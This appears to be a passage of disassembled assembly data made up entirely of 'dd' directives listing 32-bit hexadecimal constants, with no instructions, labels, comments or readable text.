		dd 5F1F3418h, 7181B4D4h, 0B6E18121h, 49158436h,	0F43DECDBh
		dd 0D465FA9Fh, 0EF8168BAh, 634AFEBDh, 78E801BCh, 14184F8Dh
		dd 1C88C90Ch, 777812F0h, 0A961185Dh, 271F4F51h,	0A080BE93h
		dd 0F42C8C49h, 2A90A0F7h, 2008B883h, 2816AE9Ah,	8864721Eh
		dd 0ED295480h, 0EFDCE489h, 539FCC20h, 0D02264C4h, 90219300h
		dd 0B3041CBCh, 3CDF4966h, 9B42E983h, 23889195h,	0F2A472C8h
		dd 79D03354h, 0E89834EDh, 15C4C640h, 0E8DA681Eh, 0A09D009Ch
		dd 0CAEBD055h, 614EF0Bh, 0A46484DDh, 9378EA60h,	0A8084F2Bh
		dd 1E10CB11h, 986239F2h, 0DD895F6Ah, 5D3D0065h,	450BACF9h
		dd 927E79FDh, 898DDF14h, 1FC4C08Ch, 99DCC75Ch, 968A45Ch
		dd 981BB4ACh, 733B40A4h, 2C872CF7h, 8583578h, 9B00CAC4h
		dd 98E45625h, 5876E7EFh, 0CBBA190Bh, 52DFF490h,	683B5B30h
		dd 93ED415h, 0BBC54467h, 34983C46h, 8D070C46h, 68CAEF99h
		dd 0E4037C4h, 7BFC9996h, 0C007DFCh, 4897D22Fh, 265C61D3h
		dd 83D84DCFh, 0D69926B3h, 537CC1FDh, 80F0622Ch,	3FD91D1h
		dd 0B048A6h, 945C6312h,	64E8044Ch, 5EDF04C9h, 0A700C4A3h
		dd 0BEB8651h, 78581312h, 0E47017E0h, 441AC29h, 14664393h
		dd 8223A048h, 0FD27FB00h, 86870F34h, 0A7F4A545h, 47403E26h
		dd 1D0C2802h, 0B0A06A70h, 6E32AA54h, 5FB5B00h, 0B721C412h
		dd 0FA9202D1h, 0F7BC0C47h, 601F9841h, 3C985E44h, 84B1321h
		dd 0D203BD0Ch, 0EF44DF22h, 0E64C22CFh, 284A961h, 66A6620h
		dd 0C060C85Ah, 0B293D29h, 80809E70h, 9E6DEA22h,	0D21C6CD6h
		dd 0D1C01C31h, 9A090574h, 94F8CF04h, 27FDC2D0h,	66AF8903h
		dd 0F4A445F8h, 270026A2h, 30F993F5h, 0CBA38Dh, 9767B57h
		dd 0C1284702h, 0C201248h, 39AC7051h, 0BAD00035h, 5C5B5BFh
		dd 1701AEF7h, 0D13B72F6h, 88A9B8ADh, 1856D1F4h,	266213CBh
		dd 53501D74h, 838827ABh, 0CCA586CCh, 550239A4h,	65B1908Dh
		dd 8985237h, 0A466ECD0h, 921F4026h, 65C80222h, 0B76496DDh
		dd 0FB80C880h, 6D249A44h, 0F00928FFh, 644847D2h, 81E06759h
		dd 0F626780h, 5C7250DDh, 0B86012E9h, 9CA9C770h,	601E6016h
		dd 11D0ED1Eh, 863E3746h, 7C18B4A0h, 0F1346C23h,	2C17E26Ch
		dd 0A7467444h, 0D464AA00h, 95E3C9FDh, 41DC4830h, 241D6E3Eh
		dd 188CD59Eh, 6FB2993Ch, 3041C260h, 1699EF9h, 51B1FEACh
		dd 525AFA37h, 8CC711ECh, 5363C044h, 0E2D09DC0h,	0CEBA2513h
		dd 2AE99C20h, 714F4BE0h, 4AEEAB08h, 0C0C2C834h,	0F1ABD471h
		dd 6CF6B00h, 9197C9A5h,	0FDD70B8Bh, 0F0B08D36h,	22069CBAh
		dd 6F774754h, 169A7EE0h, 1FD8A6EFh, 48B38710h, 0DEA38367h
		dd 2949E8B9h, 52C00090h, 0A1A4CE3Fh, 4FA0A0A2h,	603A3047h
		dd 0EEECD548h, 2BD29D1Dh, 0B4233193h, 7AEE2C6h,	5C4AC09Ah
		dd 21E02ADDh, 6B584B6Ah, 80850B0Bh, 3638AF10h, 9C589E59h
		dd 2254D01Ah, 97D800ACh, 0FD6CE3B8h, 0E4006E6Dh, 83D93FFEh
		dd 1C5AA549h, 0A866DB3Dh, 0B28744B8h, 98B43AE8h, 0DB9CF340h
		dd 90684D96h, 479DB101h, 2B7E6F7Ah, 0DC128053h,	89794801h
		dd 68210628h, 0D610A9E5h, 29D6D940h, 0B0CAC80Fh, 0A9AE7018h
		dd 800071CFh, 9BD2BDACh, 0AD13EEh, 640E42AAh, 0F2F673ABh
		dd 20EEB490h, 274C4B40h, 54A39FE5h, 61724F40h, 34BCF313h
		dd 0AFEE4404h, 0A5FD5A0Fh, 63337001h, 41286259h, 479EE4A8h
		dd 21873636h, 0E9D33A49h, 4218EB96h, 0C908B610h, 3926105Ah
		dd 46744080h, 193B0058h, 0A4AFF653h, 0CCB0BCh, 821DC618h
		dd 0CFBAD927h, 3C01C24Ah, 5E3F5194h, 0B0FC8C34h, 0CE81050Dh
		dd 0C8A1B554h, 0D100334Ch, 75ECE88Eh, 14963DD4h, 0BCA2AE82h
		dd 58B94E88h, 1FE012F0h, 523AC8Ah, 0E4999A01h, 3E18A5CAh
		dd 182F388h, 0C4E46B9Ah, 0D7EB7651h, 6358A180h,	5C842605h
		dd 5CB042F5h, 71744A52h, 0D49A298h, 109978F8h, 0C813F84Fh
		dd 0EC1880CEh, 947A6478h, 1EB8F548h, 73C17443h,	0D8CAD937h
		dd 6864CC62h, 68C786CCh, 3D4AFB05h, 0DCB20A26h,	0F403FE01h
		dd 0F8E9C81Fh, 9605C61Eh
		dd 408A48A7h, 3401B006h, 56721C60h, 0DE0D099Dh,	90E51C04h
		dd 0D7049600h, 0FC298281h, 0FA04BFB8h, 6CCA9E4Ah, 27D088h
		dd 4C082A13h, 0C01D8FEh, 0FD834CDEh, 90B64471h,	0D8ED2E0Fh
		dd 45A3901Ch, 0BA268090h, 7F4090C7h, 81267B54h,	808428EDh
		dd 6059DB6h, 1C531364h,	9EFB0A15h, 0D82B09C8h, 57501481h
		dd 882CE6h, 521CB1A3h, 0D38C9Bh, 0F83AC4BAh, 0B7C8BE8Ah
		dd 2FD99480h, 240A7E48h, 0EB420674h, 3E097815h,	45EF5E8Fh
		dd 60CCC4E0h, 98357CEAh, 68C1605Dh, 0F16F2E63h,	3DED5215h
		dd 39171294h, 740EB813h, 0D23E90CAh, 7C9F4786h,	320DC07Eh
		dd 903C774Ch, 27259830h, 2438A2ABh, 513EBF0h, 0F465744Ch
		dd 344384CDh, 5420CE16h, 68AB881h, 2B52DF23h, 0C6186135h
		dd 6D30D4F0h, 44D14D85h, 81263E10h, 9E8960DFh, 5CD84446h
		dd 0E610388Bh, 36FB09B4h, 734C424h, 30BE5312h, 6D6A92C1h
		dd 0F41FC4D8h, 0B4173549h, 974C0050h, 0B123242Fh, 0B5B98A02h
		dd 0F240F266h, 584CA487h, 9E80F46Dh, 68C33BA6h,	75D25E05h
		dd 0C410FAEAh, 8CB3B83Ch, 83CF77Bh, 0E4A792E0h,	0CF4A00D1h
		dd 6D23C910h, 701E5E00h, 0F1D6C0D2h, 0DDE8304Ch, 0E22F5021h
		dd 0FC199496h, 14218588h, 30A53C42h, 8C1778EBh,	438104Fh
		dd 78F3001Bh, 43B98969h, 0FE2E2E5Dh, 300A346Ah,	49084C12h
		dd 43949ECDh, 50DFFFD3h, 700026A3h, 0C404BFA1h,	545ADD4Fh
		dd 2C3DC874h, 8F4CA85h,	0A30B4CFAh, 0C4D445BFh,	0A10A6058h
		dd 62B702BBh, 0E9951286h, 2F5E2C48h, 48AEE300h,	215D130h
		dd 0EB44000Eh, 1694EAECh, 40FEF2BAh, 0D46BA624h, 8C373392h
		dd 0CCA4B2F5h, 519604F8h, 0C359976Ah, 0B39163DCh, 588C6332h
		dd 3DE7017Ch, 636BC17Bh, 0B913980h, 4E6E6F57h, 0F7674000h
		dd 7A190D80h, 0A5AD1E77h, 17E993DFh, 27284176h,	0F8569E48h
		dd 7020BE36h, 659907B7h, 0CB44B36Ch, 0FD05840Eh, 0FBE80F6Eh
		dd 340FF45h, 4F97D3B4h,	5255BE89h, 0FCE0B1FCh, 0D644E94Ch
		dd 80D8905Dh, 9143B391h, 210A02Ch, 26749167h, 79E38D2Eh
		dd 777DACD8h, 9B5B8603h, 15E63FFBh, 0E88B3679h,	1398269Eh
		dd 58FC40C3h, 7253D7A3h, 1098D148h, 2700A98Ah, 6639B826h
		dd 0C24DCEB9h, 9493050h, 1C40E852h, 0C0D9EA27h,	816D792h
		dd 1504C3ABh, 0A8019E38h, 37F810C0h, 7C861D8Ah,	0F3D68426h
		dd 1B4CC1A3h, 0B820A682h, 2092024h, 834C86Fh, 0E762014Ah
		dd 0C495B5E3h, 6DC89239h, 1E075CB4h, 4F978636h,	0D70B5A76h
		dd 0E5BE7F00h, 8731DF6Eh, 0B3FAC8EBh, 9648D200h, 0A4B47050h
		dd 3F4FB106h, 0C1071FEh, 0BC7AECCAh, 295F828h, 0C0D29B54h
		dd 0FC3F5224h, 0D429C27Ch, 0F8C4C346h, 0C510B318h, 80ADEDC8h
		dd 0EC4F4EE0h, 3B23742Fh, 0A7CD800h, 0BC6B4B12h, 704A8024h
		dd 0A7630D40h, 57EBAA00h, 73B6DDECh, 0F9641E7Ch, 46A57E1h
		dd 0DDC1EE34h, 0D256F528h, 9E2EA052h, 467C54D8h, 88D907BFh
		dd 0E120ADFEh, 30DD5039h, 0DA50B7AAh, 5F4D3E48h, 0C5607608h
		dd 6FB6CB39h, 20ED5CB3h, 0C9B5AE03h, 0A7C04243h, 0EE4B9473h
		dd 70135895h, 48E4C8h, 722EFD5Ah, 0BE04B7DFh, 0C84A177Ch
		dd 5988348Bh, 0F72F5AC0h, 53D90450h, 0AC3A3752h, 23604CA8h
		dd 97B21E87h, 8209539h,	2787D7C0h, 455FD2EFh, 0C0883FC7h
		dd 1FB85B9Ch, 0A6D040h,	0C00E7958h, 4CD0E655h, 0FEE9DC11h
		dd 14A0FD30h, 0E03F1745h, 9A5A8E13h, 0FE6F88CCh, 0EFF26F42h
		dd 0A8419078h, 207460C2h, 0C0D0E627h, 0E5747CD2h, 20D2DDCAh
		dd 8B3DBCA3h, 39A21C9Fh, 0D257669Eh, 7C4CE75Dh,	0DA606C62h
		dd 0D80209DEh, 88E87913h, 2CF75ADCh, 0EBED1398h, 0F12140A1h
		dd 0A18D402h, 0CEB50793h, 0A1B02582h, 332980D4h, 4E6588CAh
		dd 840AF12h, 0E642C35Eh, 0CC32257Fh, 0BE108AB0h, 5F00C0D0h
		dd 0DF511095h, 0CE1C3F7Fh, 0C7EA271h, 606D6682h, 1649CB7h
		dd 691B3EFBh, 9482E6ECh, 6630D562h, 0F8E4A37h, 0B9382EE0h
		dd 0C7015FE7h, 479E6908h, 0B4045132h, 0CD172A54h, 0C041C77Ah
		dd 4A9F743Ch, 40272D0h,	7B2C4F58h, 0C614E47Eh, 0FBD7CE89h
		dd 0E9C009D8h, 5C78EF4Ah, 0A01810A1h, 4134DCC1h, 70826927h
		dd 0C4993108h, 9D46CAEBh, 0F200E422h, 0FBF39A81h, 3A36CA93h
		dd 0ABA6495Ah, 566A4254h, 622240D2h, 0CEBA1AD5h, 1061F946h
		dd 82A0458Ah, 646954D6h, 1CE518A3h, 2E4F9A78h, 0ED15708Ch
		dd 4EA787Fh, 176BF1Eh, 20819240h, 7E186CDBh, 0C8DA2CD5h
		dd 0A8C02C82h, 8D123C68h, 0CCE44C94h, 41825583h, 6C8B204Eh
		dd 6EC0B0C8h, 72DCD0BCh, 0B434923Eh, 0E2F1441Ch, 3040E258h
		dd 7300EF9Fh, 12047E03h, 5496B6A0h, 4D1E894h, 0FCF44374h
		dd 86E882CDh, 1795A070h, 805491B0h, 17CE321Eh, 22DF0B5Dh
		dd 84CA50B0h, 0FC182C0Ch, 30BE1544h, 0D288A49Ch, 0E0A0DA66h
		dd 0FB80D6ABh, 0C4830B47h, 3040992Bh, 1CA23F08h, 0C4809856h
		dd 0E9E55525h, 304A245Ah, 9E893DF8h, 0CC5AAF38h, 18310331h
		dd 61C58237h, 41F3EC30h, 43DC20B0h, 4ABA4040h, 71DCCCD1h
		dd 4EC0B90Fh, 0C087EA47h, 1218F37Ch, 4B08A600h,	0AC3AB322h
		dd 406A4A84h, 40373228h, 0E50076CAh, 56C78DF5h,	28988543h
		dd 2088DFBBh, 702DD534h, 0FD60A0B4h, 59994A9h, 0EDC26F75h
		dd 2304F46Ah, 0F1084605h, 9E03DFD3h, 1DBE5363h,	4A154F39h
		dd 4F944B2Ch, 0E4D940A4h, 88B86D3Ch, 27A55620h,	1CC639D6h
		dd 0C6358F04h, 78E9CEB4h, 4B306E08h, 6E6C9788h,	34022800h
		dd 448686F7h, 0A839FEA9h, 30701E26h, 0AF27CD86h, 228890E2h
		dd 0C898B0E3h, 0A0711A20h, 88BBEA88h, 7E719D57h, 11181D95h
		dd 0D48182E5h, 762C602Fh, 7C188289h, 5C8A3B42h,	0D26640A4h
		dd 0FA00C5FFh, 7B0A9E45h, 11499FDh, 9CE4AF1h, 602C59F3h
		dd 0D8A99108h, 4C2E3BEFh, 0CF00BF23h, 456E6815h, 0BCA050E4h
		dd 0D08CA190h, 0B844BD14h, 30EB1EC4h, 52E98FD3h, 0ED288337h
		dd 57F9D1C3h, 545861A9h, 0E860E80Ch, 0EB008CA9h, 0FD56B62Ah
		dd 94E99BCh, 229CB96Fh,	64726089h, 9AF9D500h, 4ADEA506h
		dd 88346583h, 959C08E7h, 0A4F5282h, 7CB8C487h, 0F1E89943h
		dd 0C3119C9h, 3542442h,	7AC0CBA3h, 254DF55Ch, 3A5B7334h
		dd 73F8A020h, 0F4CA08A8h, 6021B7AAh, 3BC46027h,	0C07020CEh
		dd 465E20BEh, 0A5920F4Eh, 17B4C0B5h, 0A0EA0503h, 9E15ABCCh
		dd 0B28189C8h, 0C34A98A1h, 0CAED003Fh, 9871F1D4h, 3000826h
		dd 0A02C3B88h, 2A265846h, 0E063708Ah, 52CAD88Ch, 74DF4979h
		dd 474B43C4h, 8FE268A3h, 99C8993Ah, 0F6915810h,	0BAB18910h
		dd 0A9C042Ah, 6A863750h, 43FB89ACh, 0A47EACB2h,	58465Eh
		dd 0A3BB179Ch, 959A46CCh, 396F1C80h, 0A09D4A7Fh, 0AD3B70F0h
		dd 3EB307EBh, 30603D2Fh, 3F502A36h, 25800A27h, 0DC306594h
		dd 2A4C88A9h, 4470123Fh, 0B8556D9Dh, 7C86C8A4h,	3D4A5Ch
		dd 0BA1D158Dh, 5A3B3714h, 9994909Eh, 3240C1ECh,	0A0515494h
		dd 696011Bh, 2736B1FAh,	0F4CFC9CBh, 7D4CA547h, 3CA82454h
		dd 83018505h, 61969C04h, 0D8E97089h, 0A64C0E00h, 0C0049824h
		dd 2EA44674h, 38071345h, 0DFA1DABEh, 0F2DB895Fh, 17F064C8h
		dd 0DC11CE8Ah, 280B6D18h, 8BB4ECB3h, 5BAC119Ch,	0FA546913h
		dd 2AB59440h, 7E08901Ch, 0C2260EA4h, 3E096D40h,	0B25F2C96h
		dd 20377C22h, 0AB56D4D0h, 754F5A80h, 4F34947Ah,	0BEB404D1h
		dd 9702B990h, 9087E95Ch
		dd 0FB03D868h, 0ED495D36h, 475098D1h, 35BC70CEh, 4B15E6Ah
		dd 8851EF98h, 828813A4h, 5A4814A8h, 0D84BC86h, 0EB7009D9h
		dd 2BACA018h, 27730062h, 607D9776h, 3E01016Eh, 2F5081BFh
		dd 48645ECAh, 0D99E28D4h, 7F563E68h, 38211042h,	43B09524h
		dd 0D7882F32h, 0A900585Fh, 7720B27Dh, 62BE6975h, 0B3ADA8FFh
		dd 0E4646509h, 39286056h, 0EE4815B0h, 8A73885Dh, 4D445047h
		dd 0B4943A60h, 27D25100h, 23569F35h, 0EE472454h, 0E44C8B68h
		dd 38103C79h, 4B1D380h,	442E96CEh, 5042C0D4h, 18610926h
		dd 445100D7h, 6C3B4DF3h, 0D9E34C0Ch, 44BA4F51h,	0BDCEE20h
		dd 428F3D60h, 0CBE43CE5h, 0DCB5FF60h, 0B563D8A2h, 73355115h
		dd 4F28E0B4h, 81960DFh,	4B4C5E53h, 8D29A300h, 3AC9BD7Dh
		dd 7B8B03E8h, 10E14E68h, 574290AFh, 670E204Ch, 8060BEDBh
		dd 0B24B48BAh, 0D01C5875h, 7AC39D06h, 0D4075065h, 0AF5854E3h
		dd 9BDEE180h, 48B80047h, 243311A6h, 8830FBCAh, 0F85E2053h
		dd 2B8E143Dh, 86E120C4h, 0FE61844h, 19456C66h, 0CBCDB4C0h
		dd 0D5012F28h, 1D5EC88Bh, 0D98061B3h, 28D337Eh,	7CA431E7h
		dd 0A15744h, 0BA3F8D2Bh, 0DF65AB60h, 79CB3707h,	0E84039C9h
		dd 69831Ch, 0E74CCD4Eh,	0DBDA6D2Bh, 805E4B38h, 5F37DE51h
		dd 3EBA4C1h, 457719D8h,	0E3B01C57h, 0AE392EEAh,	0D0CF8665h
		dd 774880F2h, 34D6148Eh, 0CA00A07Fh, 0D08A6222h, 0B8A0828Bh
		dd 110046A2h, 80E80143h, 0D85CDBE0h, 629F6018h,	7B81C4A0h
		dd 0CEB5E914h, 789CCC2Ch, 113443AFh, 0DC408294h, 378942A8h
		dd 81742066h, 10584906h, 8EC344h, 8BDFC6E1h, 3DFB48B7h
		dd 6078E958h, 4E8FCD80h, 50C8285Fh, 2D4C0084h, 97C3BBDFh
		dd 7B301187h, 23C0A93Fh, 0DFC0C76Ch, 0CCE2ECCh,	39A627C6h
		dd 80EBD20Ah, 0DB16F448h, 8A6D1E0Eh, 4D8AB018h,	4030CAE8h
		dd 6F4AD925h, 21FB584Ch, 0E150B034h, 0C019FC08h, 0E7068D2Fh
		dd 5A225146h, 8D27A500h, 5F7329D0h, 0F30B03EDh,	64477B9Eh
		dd 785E2003h, 88517AE9h, 0CDDC7FDh, 0AEB45453h,	0BE16DF41h
		dd 0F114F916h, 0B0152B04h, 0C4214A8h, 3963D218h, 0B9145F95h
		dd 10B097A4h, 0D4058A68h, 7526CDBh, 0C6BF8384h,	0B4364853h
		dd 46E03976h, 8D310217h, 3141E708h, 1E82654h, 0EA27123Ch
		dd 70910ED1h, 6AB41846h, 58B0E029h, 25029F3Ah, 0E866A442h
		dd 0D8E7B140h, 5681D49h, 0C68E4AF6h, 2C408C5Ch,	0D3362103h
		dd 5A82190Fh, 805709CBh, 21FB0C21h, 22D2509h, 0E8CCA7E9h
		dd 0E48F833Bh, 0E9C75FE7h, 81310027h, 804A7427h, 9B9D6B11h
		dd 0CBAD420h, 0A2CC487Ah, 21C04108h, 39B950Eh, 68F00033h
		dd 37D2A678h, 4731A5D5h, 0A924A166h, 249258E8h,	22C6F0Fh
		dd 0B77984BEh, 851CC91h, 0C52D0CDEh, 0D3103C52h, 8BEBD018h
		dd 0D81D47A8h, 0D213CE30h, 0C6381E0Fh, 0A5DDA315h, 5672D19Fh
		dd 44CC6430h, 534CF75Ch, 54371198h, 2E981F39h, 9816401Dh
		dd 0B7344E50h, 9EB6A40h, 44B47BF0h, 997A9800h, 0E824CD36h
		dd 5E817C73h, 91FB594Ah, 0A011204Fh, 7ECB87ADh,	66310029h
		dd 0C793E3C4h, 0CFD52B80h, 0A414665h, 11EC5E84h, 2104808Fh
		dd 8C17D335h, 0B6044h, 69AA21FCh, 90F6E148h, 922ADA05h
		dd 0D0405673h, 79283480h, 8C1A0012h, 0B0E8E5Dh,	5C041701h
		dd 0AFE8D2B3h, 68060495h, 7708E7B7h, 63E334D3h,	0F4348718h
		dd 90A0196Ah, 21080118h, 0C4FFD334h, 0F90E4058h, 24848321h
		dd 11341ED0h, 0E0560C3Ch, 384958h, 0C00399CBh, 8EC3D82Ch
		dd 7B7878D4h, 9EA7240h,	8094CFE0h, 0D6E55000h, 0C8908864h
		dd 4C4410C0h, 0C05B46FEh, 8A217E51h, 0FF03E59Dh, 7DD626Eh
		dd 74A36Fh, 8A191721h, 0C528707Dh, 8D39EF05h, 4820EC56h
		dd 0D03AFE7Eh, 9532D8F0h, 4616568h, 0F93C4869h,	8A26028Ch
		dd 6F17E598h, 1C107619h, 67048A1Eh, 0ADFA7CD1h,	63D06081h
		dd 3C48EC36h, 2E40943Dh, 80E8734Ch, 5F4B3F8h, 5DC80C90h
		dd 91195174h, 9FF5E500h, 0FE03C014h, 3A9C7985h,	0A8E660B6h
		dd 330A3006h, 0F4597BE8h, 577318BCh, 0F8FEEF41h, 0A9DF03E7h
		dd 49A27BF4h, 3D3361D8h, 9CC5D48h, 2452E0E9h, 1CDCCD00h
		dd 231743C8h, 9B99012Bh, 189AD424h, 910A883Fh, 0B30D9B0Bh
		dd 0B400104Eh, 9C5C0114h, 1D391FF1h, 0C4B8CD90h, 3706E050h
		dd 4066E971h, 0AC215888h, 4C308A10h, 47A114F8h,	101094F0h
		dd 286468A4h, 553E4164h, 8456CBC8h, 4BEA20D8h, 0DEFAEB03h
		dd 0A2FB73CCh, 0F36CE0A8h, 1DCB2A7h, 2F31C32Ch,	20013582h
		dd 4C928D88h, 0B0E83B39h, 9DE35070h, 55D03350h,	49CA6DD1h
		dd 0D8338448h, 647CFB26h, 8542194h, 2C832CCEh, 71B318B0h
		dd 1B3FC138h, 81B689E8h, 0DD0C0289h, 6C54E0AFh,	15CC8057h
		dd 0BB9E0700h, 568BD9C6h, 597C6AE3h, 146384Ch, 0E59B8A1Fh
		dd 0B6EEFh, 0F58A1719h,	3B8F5687h, 3A02C926h, 4536E981h
		dd 6245FC9Eh, 7891C419h, 0C4238FFCh, 0FCC4E597h, 8D723C48h
		dd 0C8981B1Dh, 0FB1EDB7Fh, 5B81B492h, 66C8BEE5h, 8870B864h
		dd 0E10BA3DFh, 84511859h, 1A326734h, 118D3030h,	8849E705h
		dd 0C2A49E56h, 0E4A01A8Dh, 9024B28Bh, 0D11C0042h, 54B6CF31h
		dd 0AE6BC7Dh, 61850FF4h, 0A9111FCh, 0E873C833h,	21C052BBh
		dd 7184A183h, 1101875h,	0D81AA7D6h, 0E479CC65h,	0E4098DDDh
		dd 330A1820h, 0F0CEA910h, 244464D2h, 8E3455C5h,	0A3E07E2Ah
		dd 86F0893Eh, 9C7B9B24h, 0E06BA63Ah, 46CF3A42h,	0EB72092Ch
		dd 388A4B38h, 198D1830h, 6CA115D2h, 69C80F7Ah, 0D4A9C7C0h
		dd 98DB54C0h, 0A6092A3Dh, 0FAC607A4h, 9212B4D5h, 7C6B7CD3h
		dd 1FB6823h, 0E5968A24h, 88731807h, 8A001C1Eh, 0B7BFC47Ah
		dd 48D06A09h, 848AC8CFh, 4417A5FCh, 3B805591h, 0D1571307h
		dd 0C10F4602h, 81637E38h, 9AE987A4h, 49F48C34h,	0B41888CAh
		dd 0CEDB4166h, 0A5C78802h, 0E04680F9h, 2549F5BCh, 9829DD6Dh
		dd 5813091h, 30547C0Eh,	0A0513334h, 48C1CA0h, 0E7038D36h
		dd 205B6219h, 308D2E9Eh, 72DF003h, 8796F6A7h, 5CC4DBF1h
		dd 0F5AB7980h, 88B2808Ch, 0E1494A0h, 2EE94800h,	36F8333Dh
		dd 14174827h, 48AF910h,	57B4F3D4h, 8F5D8021h, 1436CAA8h
		dd 59C810B4h, 20DC6D13h, 0B3D8D57Ch, 903D7840h,	455D2628h
		dd 881E8928h, 0C760E004h, 0A3627428h, 303EB240h, 0AE3F08DDh
		dd 0ED8D8E0Ch, 77CF61DCh, 5030193Ch, 2282C92h, 0EC9180ECh
		dd 0F47B810Dh, 7824794Ch, 4B256F04h, 28906546h,	3F5F92C7h
		dd 0DA878D67h, 53D2F0B9h, 0C80C750Bh, 0A89BCF98h, 977B8C2Dh
		dd 0AAD42211h, 0C874788h, 1A409B8Fh, 90D26A9h, 286C8913h
		dd 12C2E48Ah, 8BB5037Eh, 0CAA048CBh, 0E0137491h, 0F88F075Fh
		dd 42FE8388h, 0D43AF483h, 0C2003D23h, 0C137FD18h, 0F0B860F7h
		dd 5A30FBD2h, 846568D7h, 65C834CAh, 0F74855C0h,	0BB910926h
		dd 9482CB14h, 0E51056D8h, 5FC42EDEh, 60FAC4E0h,	23998A25h
		dd 74111FE5h, 8A1D1B00h, 0DEED063Ch, 39603813h,	2D105C1Dh
		dd 49B37050h, 0C501C46Bh, 0BF2181ACh, 24A6F4E5h, 9F6DA300h
		dd 0E8D33E10h, 0CE89E5Fh, 0EF616347h, 0F7E21E00h, 0C6A75723h
		dd 3EB10118h, 0D0D32FBFh, 7C3C14h, 801940F8h, 50814661h
		dd 0CB984Ch, 2534939Ch,	95DDC40Fh, 141F0327h, 0E154580h
		dd 0CF6088B0h, 16372EE0h, 0E703A83Bh, 0CB50EBE4h, 71F10464h
		dd 8076B2E1h, 8FE0D354h
		dd 94498E4Fh, 515CC03Ch, 0C52C11E6h, 0C8D3050Ah, 14086107h
		dd 91A0B252h, 11210230h, 8807D333h, 0FA0D855Fh,	0B8948021h
		dd 89004651h, 6C45ACF6h, 24AAF556h, 8E445372h, 7CC33B8Ch
		dd 0E9C86939h, 0E11861FAh, 81B86E0Eh, 1DB4A4E0h, 71BF0987h
		dd 152CC019h, 0F8D5EC98h, 0E97840C7h, 755B1015h, 18D01A80h
		dd 0A5C80331h, 0C6978888h, 8256455Ch, 72FD2D91h, 64C8428Fh
		dd 7170FBF0h, 805D5041h, 0B6C900BEh, 0C6E1BF32h, 0C8988CE3h
		dd 8FDF2D3Eh, 5D8ECBF4h, 97F4048h, 4C655F31h, 7E606AE4h
		dd 3062CF85h, 0A069B349h, 0C3ECACECh, 0AA0D0058h, 0F6B1306h
		dd 0D205E621h, 97156D99h, 0B8A728D8h, 4B9D4494h, 5E3BD816h
		dd 0B384FC28h, 0CE5F05F8h, 7488424Dh, 48EA6CF3h, 0D39470B0h
		dd 28AC613h, 727F8804h,	0C8E25645h, 4F55C5BCh, 6C76F8ACh
		dd 3E0153E2h, 138C6298h, 0F830447Ch, 0E4825471h, 0BE4D44DEh
		dd 3347051Ah, 48A80249h, 0AC205B56h, 6746744Ch,	14AC777Fh
		dd 1C6C47B8h, 7F80773Ch, 101DD940h, 7C0095E7h, 1491A06Bh
		dd 2A4E647Ah, 7C052B4h,	37B601ADh, 0E1B0002Dh, 131EEC3Ch
		dd 20402BCBh, 28A26A4Dh, 2F8E4E8Ch, 732384h, 22779182h
		dd 0F428EBA6h, 9A45D46Eh, 3094C442h, 30132105h,	14381FD3h
		dd 21FD000Ah, 6474FA63h, 0F709FC50h, 0E808D73h,	0FCAA8A74h
		dd 0A8349F0Ah, 462C0BF6h, 0D8186AC4h, 6B00A9F8h, 0CAF21EC2h
		dd 1DEA5A31h, 1F2F29D1h, 64D21CE0h, 118960C8h, 20904817h
		dd 61BBE0A0h, 53405091h, 0C45D83E8h, 5295E919h,	789F5805h
		dd 22181866h, 0E9187653h, 0EA60442Ah, 362800CBh, 0C801B40Dh
		dd 2C98A680h, 72586722h, 0DF01F3E0h, 0C893C89Bh, 1338334Ch
		dd 2C218EBFh, 0B19349DBh, 2D5F1FD0h, 5711B09Dh,	0A613899Ch
		dd 0C4E23881h, 1303C07h, 0E0E7A4D5h, 689D4DBEh,	871697CFh
		dd 0AF08C164h, 4B188E6Fh, 0D8265FC0h, 44829941h, 0DBF133F1h
		dd 871806EFh, 0E15CE2E9h, 2CDE7B3Fh, 0DD03B8DCh, 82551178h
		dd 38044132h, 0D5D0FC65h, 0CAE90295h, 7D33E0D2h, 0D40230B2h
		dd 0AE205DE7h, 9E37E032h, 0CB5E9668h, 363DD88h,	6DD9F929h
		dd 21E8C994h, 4866D5DCh, 3C40E6E4h, 68B77D5h, 2FE8CCA3h
		dd 5E17206Bh, 0A4285349h, 30138343h, 0F441B4F6h, 5224C6E5h
		dd 0DB2834h, 65AD72CDh,	96029CCFh, 0B04EE8B9h, 0AEC42043h
		dd 0D78D6169h, 0FB0062C1h, 0E35E10E7h, 0D226CC02h, 79DC591Eh
		dd 0E0E81868h, 78A0B0B9h, 0EBD20CCEh, 0E3E83044h, 16529178h
		dd 3373E22Ch, 3F973E88h, 0BC13E401h, 32E8E95Bh,	1D31A42Ch
		dd 874DB8E0h, 61D44C69h, 0E706D84Ah, 10201C1Ah,	0C0AE3A11h
		dd 0FEAFC133h, 13537864h, 955E48FBh, 0C8D4CB24h, 0E779C03Eh
		dd 0A4B67036h, 17C03E49h, 31BBE834h, 75DBF64h, 0AC81E7A4h
		dd 1C0371D6h, 1289023h,	0D4219B9Ch, 884218B2h, 9B00940Dh
		dd 1BD7F6D3h, 4C32DEB4h, 0CF10382Dh, 3E5C757Eh,	8B4F10B8h
		dd 18A06689h, 8187D053h, 8414C182h, 74BC80A4h, 45046A46h
		dd 90B4D785h, 62E35644h, 0E00821D3h, 26E48150h,	78051FF5h
		dd 0D7E00824h, 16C61E7Bh, 0CEB04E64h, 0FA0784A8h, 27F9C590h
		dd 5AB16AC0h, 0E6F8E938h, 7D992CD7h, 6D909DBh, 3F46C802h
		dd 0E8C87305h, 0FD6900A4h, 8352B31Ah, 0E7082B72h, 205C7AE8h
		dd 80475494h, 0D6CF12BFh, 0D2B44F1Ch, 0E029A8C4h, 6A12B668h
		dd 0CC2B775h, 98D0B02Ch, 0D425109Bh, 9009E092h,	333A009Bh
		dd 0C746E683h, 0CB000D5Bh, 0D306419Eh, 5F0F6DF9h, 80BC0985h
		dd 0E15FEC98h, 0B0399620h, 5C433E4Ch, 4944D840h, 0E7E816D5h
		dd 1D044077h, 5CEBD464h, 97B82761h, 51EA08C6h, 0FD568528h
		dd 10F0F79Eh, 3DFC0CC8h, 28DB008Ch, 87C33880h, 0D06191A1h
		dd 0BFCA5171h, 47125428h, 0D608217Eh, 0DE561054h, 4319DD5Ah
		dd 0F67B518Eh, 0CD3929BEh, 3020C109h, 0E16540D8h, 8262C60Ch
		dd 20FB1833h, 0CF316370h, 0CEA2E09Bh, 6781DC38h, 62445F11h
		dd 3C9B4A38h, 0CBD6C880h, 0FE0969CEh, 82C7DAABh, 0C476F24Ch
